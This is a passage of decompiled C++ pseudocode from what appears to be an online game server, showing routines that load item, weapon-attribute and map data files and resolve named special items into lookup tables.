v2->idb_index[v13].dataserv = 0; v2->idb_index[v13].itemoption = 0; v2->idb_index[v13].SetItemIndex = -1; v2->idb_index[v13].itemdroplog = 0; ++v12; ++v13; } while ( v12 < v2->idb_maxItemhandle ); } if ( v2->idb_Itemspacies > 0 ) { do { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v14 = CDataReader::GetRecord((CDataReader *)v3, v6); else v14 = v3 + 60; v15 = *(_WORD *)v14; if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v16 = CDataReader::GetRecord((CDataReader *)v3, v6); else v16 = v3 + 60; v2->idb_index[v15].data = (ItemInfo *)v16; ++v6; } while ( v6 < v2->idb_Itemspacies ); } v17 = 0; if ( v2->idb_Itemspacies ) { do { if ( v17 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v18 = CDataReader::GetRecord((CDataReader *)v3, v17); else v18 = v3 + 60; v19 = *(_WORD *)v18; if ( v17 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v20 = CDataReader::GetRecord((CDataReader *)v3, v17); else v20 = v3 + 60; BTree::bt_Insert(&v2->idb_btree, (const char *)v20 + 2, v19); ++v17; } while ( v17 < v2->idb_Itemspacies ); } result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (00565760) -------------------------------------------------------- void __thiscall ItemDataBox::_ItemDataBox(ItemDataBox *this) { ItemDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->idb_index; if ( v2 ) { operator delete(v2); v1->idb_index = 0; } ItemDataBox::__unnamed::___unnamed(&v1->idb_BinData.itminf.baseclass_0); BTree::_BTree(&v1->idb_btree); } //----- (005657D0) -------------------------------------------------------- void __thiscall ItemDataBox::idb_Load(ItemDataBox *this) { ItemDataBox *v1; // esi@1 char *v2; // ebx@1 unsigned int v3; // eax@1 CDataReader::HEAD *v4; // ecx@1 unsigned int v5; // edi@2 void *v6; // ebp@10 void *v7; // eax@13 unsigned int v8; // edi@20 bool v9; // zf@20 void *v10; // eax@22 void *v11; // eax@26 unsigned int v12; // ST08_4@30 void *v13; // eax@30 int v14; // ecx@30 unsigned int v15; // ecx@33 int v16; // eax@34 void *v17; // eax@38 unsigned int v18; // ebx@40 void *v19; // eax@41 ItemDataBox::ItemDataBoxIndex *v20; // eax@46 int v21; // ebp@46 ItemInfo *v22; // ecx@46 int v23; // eax@46 void *v24; // eax@51 void *v25; // eax@54 void *v26; // eax@57 unsigned int v27; // edi@61 void *v28; // eax@63 unsigned int v29; // ebx@70 void *v30; // ebp@72 unsigned int v31; // eax@74 int v32; // edi@74 int v33; // edi@85 unsigned int v34; // eax@89 signed __int16 v35; // di@89 unsigned int v36; // eax@94 signed __int16 v37; // di@94 unsigned int v38; // eax@99 signed __int16 v39; // di@99 unsigned int v40; // eax@104 signed __int16 v41; // di@104 unsigned int v42; // eax@109 signed __int16 v43; // di@109 unsigned int v44; // eax@114 signed __int16 v45; // di@114 unsigned int v46; // eax@119 signed __int16 v47; // di@119 unsigned int v48; // eax@124 signed __int16 v49; // di@124 unsigned int v50; // eax@129 signed __int16 v51; // di@129 unsigned int v52; // eax@134 signed __int16 v53; // di@134 unsigned int v54; // eax@139 signed __int16 v55; // di@139 unsigned int v56; // eax@144 signed __int16 v57; // di@144 unsigned int v58; // eax@149 signed __int16 v59; // di@149 unsigned int v60; // eax@154 signed __int16 v61; // di@154 unsigned int v62; // eax@159 signed __int16 v63; // di@159 unsigned int v64; // eax@164 signed __int16 v65; // di@164 unsigned int v66; // eax@169 signed __int16 v67; // di@169 unsigned int v68; // eax@174 signed __int16 v69; // di@174 unsigned int v70; // eax@179 signed __int16 v71; // di@179 unsigned int v72; // eax@184 signed __int16 v73; // di@184 unsigned int v74; // eax@189 signed __int16 v75; // di@189 unsigned int v76; // eax@194 signed __int16 v77; // di@194 unsigned int v78; // eax@199 signed __int16 v79; // di@199 unsigned int v80; // eax@204 signed __int16 v81; // di@204 unsigned int v82; // eax@209 signed __int16 v83; // di@209 unsigned int v84; // eax@214 signed __int16 v85; // di@214 unsigned int v86; // eax@219 signed __int16 v87; // di@219 CDataReader::HEAD *v88; // ecx@224 int v89; // ebx@226 void *v90; // eax@229 void *v91; // eax@233 void *v92; // eax@236 signed int v93; // edi@238 int v94; // ebp@238 void *v95; // eax@240 unsigned int v96; // eax@246 signed __int16 v97; // di@246 unsigned int v98; // eax@251 signed __int16 v99; // di@251 unsigned int v100; // eax@256 signed __int16 v101; // di@256 unsigned int v102; // eax@261 signed __int16 v103; // di@261 unsigned int v104; // eax@266 signed __int16 v105; // di@266 void *k; // [sp+0h] [bp-64h]@4 unsigned int ka; // [sp+0h] [bp-64h]@20 unsigned int kb; // [sp+0h] [bp-64h]@224 void *i; // [sp+4h] [bp-60h]@7 unsigned int ia; // [sp+4h] [bp-60h]@36 unsigned int ib; // [sp+4h] [bp-60h]@225 BinaryDataBox wa; // [sp+8h] [bp-5Ch]@224 unsigned int v113; // [sp+54h] [bp-10h]@271 int v114; // [sp+60h] [bp-4h]@224 v1 = this; v2 = (char *)&this->idb_BinData; BinaryDataBox::bdb_ReadData(&this->idb_BinData.itminf, "../9Data/Shine/ItemInfo.shn"); BinaryDataBox::bdb_ReadData(&v1->idb_BinData.itminfsrv, "../9Data/Shine/ItemInfoServer.shn"); BinaryDataBox::bdb_ReadData(&v1->idb_BinData.itmgrade, "../9Data/Shine/GradeItemOption.shn"); BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&v1->idb_BinData.itemdroplog, "../9Data/Shine/ItemDropLog.shn"); v3 = v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead; v1->idb_Itemspacies = v3; if ( v3 != v4->nNumOfRecord ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_Load : DataNumber not match", 0); v5 = 0; if ( v1->idb_Itemspacies > 0 ) { do { if ( v5 < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) k = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, v5); else k = &v1->idb_BinData.itminfsrv.bdb_defaultblock; if ( v5 < *(_DWORD *)(*((_DWORD *)v2 + 12) + 40) ) i = CDataReader::GetRecord((CDataReader *)v2, v5); else i = v2 + 60; if ( v5 < *(_DWORD *)(*((_DWORD *)v2 + 12) + 40) ) v6 = CDataReader::GetRecord((CDataReader *)v2, v5); else v6 = v2 + 60; if ( v5 < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, v5); else v7 = &v1->idb_BinData.itminfsrv.bdb_defaultblock; if ( *(_WORD *)v6 != *(_DWORD *)v7 ) { AssertClass::ac_AssertFail(&shineassert, "Diff : ", *(_WORD *)i, *(_DWORD *)k); ShineExit("ItemDataBox::idb_Load"); } ++v5; } while ( v5 < v1->idb_Itemspacies ); } ShineExit("ItemDataBox::idb_Load"); } v8 = 0; v9 = v1->idb_Itemspacies == 0; ka = v1->idb_BinData.itemdroplog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v1->idb_maxItemhandle = 0; if ( !v9 ) { do { if ( v8 < *(_DWORD *)(*((_DWORD *)v2 + 12) + 40) ) v10 = CDataReader::GetRecord((CDataReader *)v2, v8); else v10 = v2 + 60; if ( v1->idb_maxItemhandle < *(_WORD *)v10 ) { if ( v8 < *(_DWORD *)(*((_DWORD *)v2 + 12) + 40) ) v11 = CDataReader::GetRecord((CDataReader *)v2, v8); else v11 = v2 + 60; v1->idb_maxItemhandle = *(_WORD *)v11; } ++v8; } while ( v8 < v1->idb_Itemspacies ); } v12 = 28 * (v1->idb_maxItemhandle++ + 1); v13 = operator new__(v12); v14 = v1->idb_maxItemhandle; v1->idb_index = (ItemDataBox::ItemDataBoxIndex *)v13; if ( v13 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_Load : Memory leak for index in Item", v14); ShineExit("ItemDataBox::idb_Load"); } v15 = 0; if ( v1->idb_maxItemhandle > 0 ) { v16 = 0; do { v1->idb_index[v16].data = 0; v1->idb_index[v16].dataserv = 0; v1->idb_index[v16].itemoption = 0; v1->idb_index[v16].MovingShot = 0; v1->idb_index[v16].AttackAngle = 0; v1->idb_index[v16].SetItemIndex = -1; v1->idb_index[v16].itemdroplog = 0; ++v15; ++v16; } while ( v15 < v1->idb_maxItemhandle ); } ia = 0; if ( v1->idb_Itemspacies ) { do { if ( ia < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, ia); else v17 = &v1->idb_BinData.itminf.bdb_defaultblock; v18 = *(_WORD *)v17; if ( ia < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v19 = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, ia); else v19 = &v1->idb_BinData.itminfsrv.bdb_defaultblock; if ( v18 != *(_DWORD *)v19 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_Load : iteminfo iteminfoserver Order not match", v18); ShineExit("ItemDataBox::idb_Load"); } v20 = v1->idb_index; v21 = v18; v22 = v20[v18].data; v23 = (int)&v20[v18]; if ( v22 || *(_DWORD *)(v23 + 4) ) { AssertClass::ac_AssertFail(&shineassert, "Duplicate Item handle", v18); ShineExit("ItemDataBox::idb_Load"); } if ( ia < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v24 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, ia); else v24 = &v1->idb_BinData.itminf.bdb_defaultblock; v1->idb_index[v21].data = (ItemInfo *)v24; if ( ia < v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v25 = CDataReader::GetRecord(&v1->idb_BinData.itminfsrv.baseclass_0.baseclass_0, ia); else v25 = &v1->idb_BinData.itminfsrv.bdb_defaultblock; v1->idb_index[v21].dataserv = (ItemInfoServer *)v25; if ( ia < v1->idb_BinData.itminf.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v26 = CDataReader::GetRecord(&v1->idb_BinData.itminf.baseclass_0.baseclass_0, ia); else v26 = &v1->idb_BinData.itminf.bdb_defaultblock; BTree::bt_Insert(&v1->idb_btree, (const char *)v26 + 2, v18); if ( v1->idb_index[v21].data->ItemFunc == 3 ) v1->idb_specialid.sii_JustReviveItem = v18; v27 = 0; if ( (signed int)ka > 0 ) { while ( 1 ) { v28 = v27 < v1->idb_BinData.itemdroplog.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->idb_BinData.itemdroplog.baseclass_0.baseclass_0, v27) : &v1->idb_BinData.itemdroplog.bdb_defaultblock; if ( *(_DWORD *)v28 == v18 ) break; ++v27; if ( (signed int)v27 >= (signed int)ka ) goto LABEL_69; } v1->idb_index[v21].itemdroplog = (ItemDropLog *)v28; } LABEL_69: ++ia; } while ( ia < v1->idb_Itemspacies ); } v29 = 0; if ( v1->idb_BinData.itmgrade.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { do { if ( v29 < v1->idb_BinData.itmgrade.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v30 = CDataReader::GetRecord(&v1->idb_BinData.itmgrade.baseclass_0.baseclass_0, v29); else v30 = &v1->idb_BinData.itmgrade.bdb_defaultblock; v31 = BTree::operator__(&v1->idb_btree, (const char *)v30); LOWORD(v32) = -1; if ( v31 != -1 ) LOWORD(v32) = v31; if ( (_WORD)v32 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", (const char *)v30); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v32 = (unsigned __int16)v32; if ( (unsigned __int16)v32 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load(GradeItemOption) : Invalid Item Index", (const char *)v30); ShineExit("ItemDataBox::idb_Load"); } if ( v32 >= v1->idb_maxItemhandle ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load(GradeItemOption) : Invalid Item Index", (const char *)v30); ShineExit("ItemDataBox::idb_Load"); } v33 = v32; if ( v1->idb_index[v33].itemoption ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::idb_Load(GradeItemOption) : Duplicate Item handle", (const char *)v30); ShineExit("ItemDataBox::idb_Load"); } v1->idb_index[v33].itemoption = (GradeItemOption *)v30; ++v29; } while ( v29 < v1->idb_BinData.itmgrade.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ); } v34 = BTree::operator__(&v1->idb_btree, "Cen"); v35 = -1; if ( v34 != -1 ) v35 = v34; if ( v35 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Cen"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_cenid = v35; v36 = BTree::operator__(&v1->idb_btree, "SilverWings"); v37 = -1; if ( v36 != -1 ) v37 = v36; if ( v37 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SilverWings"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_silverwing = v37; v38 = BTree::operator__(&v1->idb_btree, "PresentBox"); v39 = -1; if ( v38 != -1 ) v39 = v38; if ( v39 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "PresentBox"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_kqrewardchest = v39; v1->idb_specialid.sii_recall.stage = -1; v40 = BTree::operator__(&v1->idb_btree, "FreeStatusReloadAll"); v41 = -1; if ( v40 != -1 ) v41 = v40; if ( v41 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "FreeStatusReloadAll"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_FreeStatRedistAll = v41; v42 = BTree::operator__(&v1->idb_btree, "SkillReloadbundleAll"); v43 = -1; if ( v42 != -1 ) v43 = v42; if ( v43 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SkillReloadbundleAll"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SkillEmpowRedistAll = v43; v44 = BTree::operator__(&v1->idb_btree, "FreeStatusReloadOne"); v45 = -1; if ( v44 != -1 ) v45 = v44; if ( v45 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "FreeStatusReloadOne"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_FreeStatRedistPoint = v45; v46 = BTree::operator__(&v1->idb_btree, "SkillReloadbundleOne"); v47 = -1; if ( v46 != -1 ) v47 = v46; if ( v47 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SkillReloadbundleOne"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SkillEmpowRedistPoint = v47; v48 = BTree::operator__(&v1->idb_btree, "LicenseClear"); v49 = -1; if ( v48 != -1 ) v49 = v48; if ( v49 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "LicenseClear"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WeaponLicenseClear = v49; v50 = BTree::operator__(&v1->idb_btree, "House_MushRoom"); v51 = -1; if ( v50 != -1 ) v51 = v50; if ( v51 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "House_MushRoom"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MiniHouse_MushRoom = v51; v52 = BTree::operator__(&v1->idb_btree, "HPMPotion1"); v53 = -1; if ( v52 != -1 ) v53 = v52; if ( v53 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP0 = v53; v54 = BTree::operator__(&v1->idb_btree, "HPMPotion2"); v55 = -1; if ( v54 != -1 ) v55 = v54; if ( v55 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion2"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP1 = v55; v56 = BTree::operator__(&v1->idb_btree, "HPMPotion0"); v57 = -1; if ( v56 != -1 ) v57 = v56; if ( v57 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion0"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP2 = v57; v58 = BTree::operator__(&v1->idb_btree, "HPMPotion3"); v59 = -1; if ( v58 != -1 ) v59 = v58; if ( v59 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "HPMPotion3"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionHP3 = v59; v60 = BTree::operator__(&v1->idb_btree, "SPMPotion1"); v61 = -1; if ( v60 != -1 ) v61 = v60; if ( v61 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP0 = v61; v62 = BTree::operator__(&v1->idb_btree, "SPMPotion2"); v63 = -1; if ( v62 != -1 ) v63 = v62; if ( v63 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion2"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP1 = v63; v64 = BTree::operator__(&v1->idb_btree, "SPMPotion0"); v65 = -1; if ( v64 != -1 ) v65 = v64; if ( v65 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion0"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP2 = v65; v66 = BTree::operator__(&v1->idb_btree, "SPMPotion3"); v67 = -1; if ( v66 != -1 ) v67 = v66; if ( v67 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "SPMPotion3"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_MagicPortionSP3 = v67; v68 = BTree::operator__(&v1->idb_btree, "Roar"); v69 = -1; if ( v68 != -1 ) v69 = v68; if ( v69 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Roar"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_Roar = v69; v70 = BTree::operator__(&v1->idb_btree, "ProdReload01"); v71 = -1; if ( v70 != -1 ) v71 = v70; if ( v71 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "ProdReload01"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SkillErase = v71; v72 = BTree::operator__(&v1->idb_btree, "GoddessWing"); v73 = -1; if ( v72 != -1 ) v73 = v72; if ( v73 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "GoddessWing"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SparrowWing = v73; v74 = BTree::operator__(&v1->idb_btree, "MemoryFeather"); v75 = -1; if ( v74 != -1 ) v75 = v74; if ( v75 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "MemoryFeather"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_SparrowFeather = v75; v76 = BTree::operator__(&v1->idb_btree, "WingStone01_1"); v77 = -1; if ( v76 != -1 ) v77 = v76; if ( v77 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "WingStone01_1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WingStone = v77; v78 = BTree::operator__(&v1->idb_btree, "KQ_SoulCrystal"); v79 = -1; if ( v78 != -1 ) v79 = v78; if ( v79 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "KQ_SoulCrystal"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_BossMobDetector = v79; v80 = BTree::operator__(&v1->idb_btree, "Karis"); v81 = -1; if ( v80 != -1 ) v81 = v80; if ( v81 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "Karis"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_Karis = v81; v82 = BTree::operator__(&v1->idb_btree, "GuildName"); v83 = -1; if ( v82 != -1 ) v83 = v82; if ( v83 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "GuildName"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_GuildReName = v83; v84 = BTree::operator__(&v1->idb_btree, "GuildTendency"); v85 = -1; if ( v84 != -1 ) v85 = v84; if ( v85 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "GuildTendency"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_GuildReType = v85; v86 = BTree::operator__(&v1->idb_btree, "IN_MoneyCard00"); v87 = -1; if ( v86 != -1 ) v87 = v86; if ( v87 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "IN_MoneyCard00"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_DiceTaiSaiMoneyCard = v87; CCharacterTitleData::CCharacterTitleData(&wa.baseclass_0); wa.bdb_defaultblock.WeaponType = 0; *(_QWORD *)&wa.bdb_defaultblock.UsableDegree = 0i64; HIBYTE(wa.bdb_defaultblock.HitRate[2]) = 0; v114 = 0; BinaryDataBox::bdb_ReadData(&wa, "../9Data/Shine/WeaponAttrib.shn"); v88 = wa.baseclass_0.baseclass_0.m_pHead; kb = 0; if ( (signed int)wa.baseclass_0.baseclass_0.m_pHead->nNumOfRecord > 0 ) { do { ib = 0; if ( v1->idb_maxItemhandle ) { v89 = 0; do { if ( v1->idb_index[v89].data ) { if ( kb < v88->nNumOfRecord ) { v90 = CDataReader::GetRecord(&wa.baseclass_0.baseclass_0, kb); v88 = wa.baseclass_0.baseclass_0.m_pHead; } else { v90 = &wa.bdb_defaultblock; } if ( v1->idb_index[v89].data->WeaponType == *(_DWORD *)v90 ) { if ( kb < v88->nNumOfRecord ) v91 = CDataReader::GetRecord(&wa.baseclass_0.baseclass_0, kb); else v91 = &wa.bdb_defaultblock; v1->idb_index[v89].MovingShot = *((_BYTE *)v91 + 6); if ( kb < wa.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v92 = CDataReader::GetRecord(&wa.baseclass_0.baseclass_0, kb); else v92 = &wa.bdb_defaultblock; v1->idb_index[v89].AttackAngle = *((_WORD *)v92 + 2); v93 = 0; v94 = v89 * 28 + 18; do { if ( kb < wa.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v95 = CDataReader::GetRecord(&wa.baseclass_0.baseclass_0, kb); else v95 = &wa.bdb_defaultblock; *(_WORD *)((char *)&v1->idb_index->data + v94) = *(_WORD *)((char *)v95 + v93 + 7); v93 += 2; v94 += 2; } while ( v93 < 6 ); v88 = wa.baseclass_0.baseclass_0.m_pHead; } } ++v89; ++ib; } while ( ib < v1->idb_maxItemhandle ); } ++kb; } while ( (signed int)kb < (signed int)v88->nNumOfRecord ); } v114 = -1; CCharacterTitleData::_CCharacterTitleData(&wa.baseclass_0); v96 = BTree::operator__(&v1->idb_btree, "ProposeRing"); v97 = -1; if ( v96 != -1 ) v97 = v96; if ( v97 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "ProposeRing"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_ProposeRing = v97; v98 = BTree::operator__(&v1->idb_btree, "InvitationCard"); v99 = -1; if ( v98 != -1 ) v99 = v98; if ( v99 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "InvitationCard"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_InvitationCard = v99; v100 = BTree::operator__(&v1->idb_btree, "WeddingCoupon"); v101 = -1; if ( v100 != -1 ) v101 = v100; if ( v101 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "WeddingCoupon"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WeddingCoupon = v101; v102 = BTree::operator__(&v1->idb_btree, "MiniWedding01_1"); v103 = -1; if ( v102 != -1 ) v103 = v102; if ( v103 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "MiniWedding01_1"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_WeddingPresent = v103; v104 = BTree::operator__(&v1->idb_btree, "InstantDivorce"); v105 = -1; if ( v104 != -1 ) v105 = v104; if ( v105 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::idb_MakeSpecialID : Wrong Item Id", "InstantDivorce"); ShineExit("ItemDataBox::idb_MakeSpecialID"); } v1->idb_specialid.sii_ImmediateDivorce = v105; __security_check_cookie(v113); } //----- (00566880) -------------------------------------------------------- void __thiscall ItemDataBox::ItemDataBox(ItemDataBox *this, char *pdatafn, bool bCheckAndRead) { ItemDataBox *v3; // esi@1 char *v4; // edi@1 _iobuf *v5; // eax@5 v3 = this; BTree::BTree(&this->idb_btree); ItemDataBox::__unnamed::__unnamed(&v3->idb_BinData.itminf.baseclass_0); v4 = pdatafn; v3->idb_index = 0; v3->idb_maxItemhandle = 0; if ( pdatafn != (char *)-1 ) { if ( !pdatafn ) v4 = "../9Data/Shine/ItemInfo.shn"; if ( bCheckAndRead ) { v5 = fopen(v4, "rb"); if ( !v5 ) return; fclose(v5); } ItemDataBox::ReadData(v3, v4); } } //----- (00566930) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x193u, 0x48u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005669E0) -------------------------------------------------------- void __thiscall MapDataBox::mdb_Load(MapDataBox *this) { MapDataBox *v1; // esi@1 CDataReader::HEAD *v2; // eax@1 unsigned int v3; // ebp@1 unsigned int v4; // edi@1 void *v5; // eax@3 int v6; // eax@5 unsigned int v7; // ST04_4@8 void *v8; // eax@8 int v9; // ecx@8 int v10; // eax@8 void *v11; // eax@12 void *v12; // edi@15 void *v13; // ebx@18 void *v14; // eax@21 unsigned int v15; // ecx@23 char *v16; // ecx@23 int v17; // edi@23 v1 = this; BinaryDataBox::bdb_ReadData(&this->mdb_BinData, "../9Data/Shine/MapInfo.shn"); v2 = v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead; v3 = 0; v1->mdb_maxmapid = 0; v4 = 0; if ( (signed int)v2->nNumOfRecord > 0 ) { do { if ( v4 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v4); else v5 = (void *)&v1->mdb_BinData.bdb_defaultblock; v6 = *(_WORD *)v5; if ( v1->mdb_maxmapid < v6 ) v1->mdb_maxmapid = v6; ++v4; } while ( (signed int)v4 < (signed int)v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ); } v7 = 4 * (v1->mdb_maxmapid++ + 1); v8 = operator new(v7); v9 = v1->mdb_maxmapid; v1->mdb_index = (MapInfo **)v8; v10 = 0; if ( v9 > 0 ) { do v1->mdb_index[v10++] = 0; while ( v10 < v1->mdb_maxmapid ); } if ( (signed int)v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord > 0 ) { do { if ( v3 < 